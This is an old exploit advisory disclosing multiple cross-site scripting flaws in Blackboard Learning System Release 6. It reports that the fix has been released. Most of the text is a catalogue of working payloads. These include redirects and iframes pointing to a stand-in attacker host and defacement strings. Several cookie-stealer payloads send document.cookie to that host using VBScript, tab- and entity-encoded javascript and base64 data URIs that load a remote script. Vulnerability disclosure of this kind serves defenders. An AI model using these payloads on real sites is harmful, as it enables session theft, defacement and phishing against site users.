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blsXSS.txt

blsXSS.txt
Posted Aug 27, 2006
Authored by PrOtOn, digi7al64

Blackboard Learning System release 6 suffers from a multitude of cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | b3e98ad32f7e9dcdbac019cbb91d5660eafdc9cf66ed34ec23b24b6cfeb29c5b

blsXSS.txt

Change Mirror Download
-----------------------------------------------------------------------------------------

Found by: PrOtOn & digi7al64

Date: May 20th 2006

Critical Level: High

Type: Multiple Cross Site Scripting (XSS) vunerabilities


------------------------------------------------------------------------------------------


Software:
Blackboard Learning System (Release 6) Blackboard Learning and Community Portal Suite (Release6)-6.2.3.23


------------------------------------------------------------------------------------------


Explanation: You can inject HTML, VB code and or Javascript into specific tags to steal
cookies, deface the site using frame busters or even redirect to external sites for phishing purposes.
If you have limited access, then a simple post into the Discussion Board using the right
tags with the right code (provided below) will execute the vulnerability(ies).


-------------------------------------------------------------------------------------------

About:
Blackboards parsing system only checks for the string "javascript", Thus vbscript code can be injected at will into tags as well as any versions of javascript that uses uncommon syntax (ie tabs encoding etc)

-------------------------------------------------------------------------------------------
Vulnerabilities:

Defacement (FrameBuster)
-------------------------
<meta http-equiv="refresh"
content="15;url= http://evilsite.com">


Defacement (FrameBuster)
-------------------------
<iframe src=" http://evilsite.com" width=100
height=100></iframe>


Defacement (IE ONLY)
-------------------------
<img src=vbscript:document.write("defaced_by_insane_script_kiddies")>


Defacement (IE ONLY)
-------------------------
<link rel="stylesheet"
href=vbscript:document.write("defaced_by_insane_script_kiddies")>

<img src=vb script:document.write("defaced_by_insane_script_kiddies")>


Cookie Stealer (IE ONLY)
-------------------------

<img
src="vbscript:wintest=window.open(%22http://evilsite.com + document.cookie)"style=visibility:hidden/>
<img src="vbscript:window.focus ()"style=visibility:hidden/>
<img src="vbscript: window.close()"style=visibility:hidden/>


Cookie Stealer (IE ONLY)
-------------------------
<link rel="stylesheet"
href="vbscript:wintest=window.open(%22http://evilsite.com+document.cookie)">


Cookie Stealer (Encoded Tab - IE ONLY)
-------------------------
<img
src="jav&#x09;ascript: document.images[1].src=%22http://evilsite.com+document.cookie;"<img src="jav
ascript:document.images[1].src=%22http://evilsite.com+document.cookie;"style=visibility:hidden/>


Cookie Stealer (html encoded - IE ONLY)
-------------------------
<img
src='javascripdocument.images[1].s
rc=" http://evilsite.com"+document.cookie;'<img
src="jav
ascript:document.images[1].src=%22http://evilsite.com+document.cookie;"style=visibility:hidden/>


Cookie Stealer (tabs - IE ONLY)
-------------------------
<img src="jav
ascript:document.images[1].src=%22http://evilsite.com+document.cookie;"style=visibility:hidden/>


Cookie Stealer (body tag with tabs - IE ONLY)
-------------------------
<body background="jav
ascript:document.images[1].src=%22http://evilsite.com+document.cookie;">


Cookie Stealer (div tag with tabs - IE ONLY)
-------------------------
<div style="background-image: url(jav
ascript:document.images[1].src=%22http://evilsite.com+document.cookie;)">


Cookie Stealer (firefox)
-------------------------
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly9ldmlsc2l0ZS5jb20vY29va2llLmpzIj48L3NjcmlwdD4=">


Cookie Stealer (firefox - click to work)
-------------------------
<a
href="data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly9ldmlsc2l0ZS5jb20vY29va2llLmpzIj48L3NjcmlwdD4=">hmmm</a>


---------------------------------------------------------------------------------------------


Disclaimer:
Myself or any other person involved with this discovery will not be responsible for what you
do with this information.
Blackboard developers have been contacted by me and a patch has been released according to them.


-----------------------------------------------------------------------------------------------


Shout Outs:
r0xes, criticalsecurity(dot)net, Infowar(dot)com


------------------------------------------------------------------------------------------------


Contact:
Pr070n(at)gmail(dot)com
Digi7al64(at)gmail(dot)com


-------------------------------------------------------------------------------------------------
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